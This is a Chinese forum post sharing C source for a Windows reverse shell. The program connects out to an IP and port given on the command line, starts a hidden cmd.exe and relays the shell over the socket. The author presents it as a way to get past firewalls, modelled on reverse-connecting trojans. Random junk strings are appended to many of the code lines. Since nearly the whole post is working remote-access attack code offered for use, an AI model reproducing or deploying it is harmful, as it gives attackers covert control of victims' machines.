社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6571阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 fn, YH  
6){nu rDBG  
/* ============================== .W51Cup@&  
Rebound port in Windows NT EQVa8xt/C  
By wind,2006/7 E[Bj+mX9  
===============================*/ $Ned1@%[  
#include c@x6<S%*  
#include }q=tg9  
$QnsP#ePN  
#pragma comment(lib,"wsock32.lib") 6 2LLfD  
Vtv1{/@+c  
void OutputShell(); OjurfVw  
SOCKET sClient; jk{m8YP)E  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _BI[F m  
}=fls=c/0  
void main(int argc,char **argv) u,JUMH]@  
{ }$` PZUw>  
WSADATA stWsaData; cuh Z_l  
int nRet; }oL l? L  
SOCKADDR_IN stSaiClient,stSaiServer; VK% j45D`  
J]5ZWo%  
if(argc != 3) OU[ FiW-E  
{ |& _(I  
printf("Useage:\n\rRebound DestIP DestPort\n");  tPChVnB  
return; `B/74Wa3q  
} 3'!*/UnU  
N6BEl55 &  
WSAStartup(MAKEWORD(2,2),&stWsaData); I.- I4F)D  
S{nBQB<  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T:3}W0s,  
;{1  ws  
stSaiClient.sin_family = AF_INET; :KI0j%>2y  
stSaiClient.sin_port = htons(0); ;umbld0  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4ah5}9{g  
vRLWs`1j  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5s:g(gy3BR  
{ -Yg?@yt  
printf("Bind Socket Failed!\n"); =kb/4eRg  
return; ]<k+a-Tt  
} h* V~.H  
4U*CfdZZ  
stSaiServer.sin_family = AF_INET; ) ):w`^6  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ({mlA`d]  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2Yg\<Ps N  
NBD1k;  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0RHjA& r3v  
{ >AW&Lfw$  
printf("Connect Error!"); z{nd4qOsD  
return; 7!JBF{,=  
} Pv\-D<&@m  
OutputShell(); oO9yI^  
} ~H:.&'E  
W)Mc$`nX  
void OutputShell() :'sMrf_EA  
{ i2!0bY  
char szBuff[1024]; GpCjoNcW{  
SECURITY_ATTRIBUTES stSecurityAttributes; .RPh#FI6J  
OSVERSIONINFO stOsversionInfo; 22Oe~W;  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >NZJ-:t  
STARTUPINFO stStartupInfo; il7gk<  
char *szShell; ,"f2-KC4h  
PROCESS_INFORMATION stProcessInformation; >2mV {i&  
unsigned long lBytesRead; fJ;1ii~  
pg3h>)$/  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \9 k3;zw  
>g,i"Kg  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); slYC\"$  
stSecurityAttributes.lpSecurityDescriptor = 0; $$eBr8  
stSecurityAttributes.bInheritHandle = TRUE; Wql,*|  
IJBIO>Z/  
kyL]4:@W`  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); O+=C8  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); > QK"r7f/  
?&bB?mg\  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <[V1z=Eo/]  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ph17(APt,Q  
stStartupInfo.wShowWindow = SW_HIDE; -+W E9  
stStartupInfo.hStdInput = hReadPipe; :z2G a  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +THK Jn!>  
aK--D2@}i  
GetVersionEx(&stOsversionInfo); 9:7&`J lC#  
d_ji ..T  
switch(stOsversionInfo.dwPlatformId) oG=4&SQ  
{ T&->xe f=  
case 1: yK0iW  
szShell = "command.com"; i'z (`"  
break; cG5u$B  
default: Svm'ds7>  
szShell = "cmd.exe"; !JbWxGN`jn  
break; -_irkpdC[  
} qP72JxT  
x<=R?4@rq  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g5t`YcL  
.}n\c%&  
send(sClient,szMsg,77,0); |9]_<X[ic  
while(1) Ie/dMB=t  
{ ;ibOd~  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); T]2=  
if(lBytesRead) 0xc|Wn>  
{ T=VBKaSbU  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [#;CBs5o  
send(sClient,szBuff,lBytesRead,0); {`V ^V_  
} |D1TSv}rZD  
else Tb!jIe  
{ 7Jn%c<s  
lBytesRead=recv(sClient,szBuff,1024,0); %jxeh.B3B  
if(lBytesRead<=0) break; 5RR4jX]  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); dg4q+  
} 9/dADJe0b  
} =}2k+v-B  
d*l2x[8}g-  
return; ;-8]  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五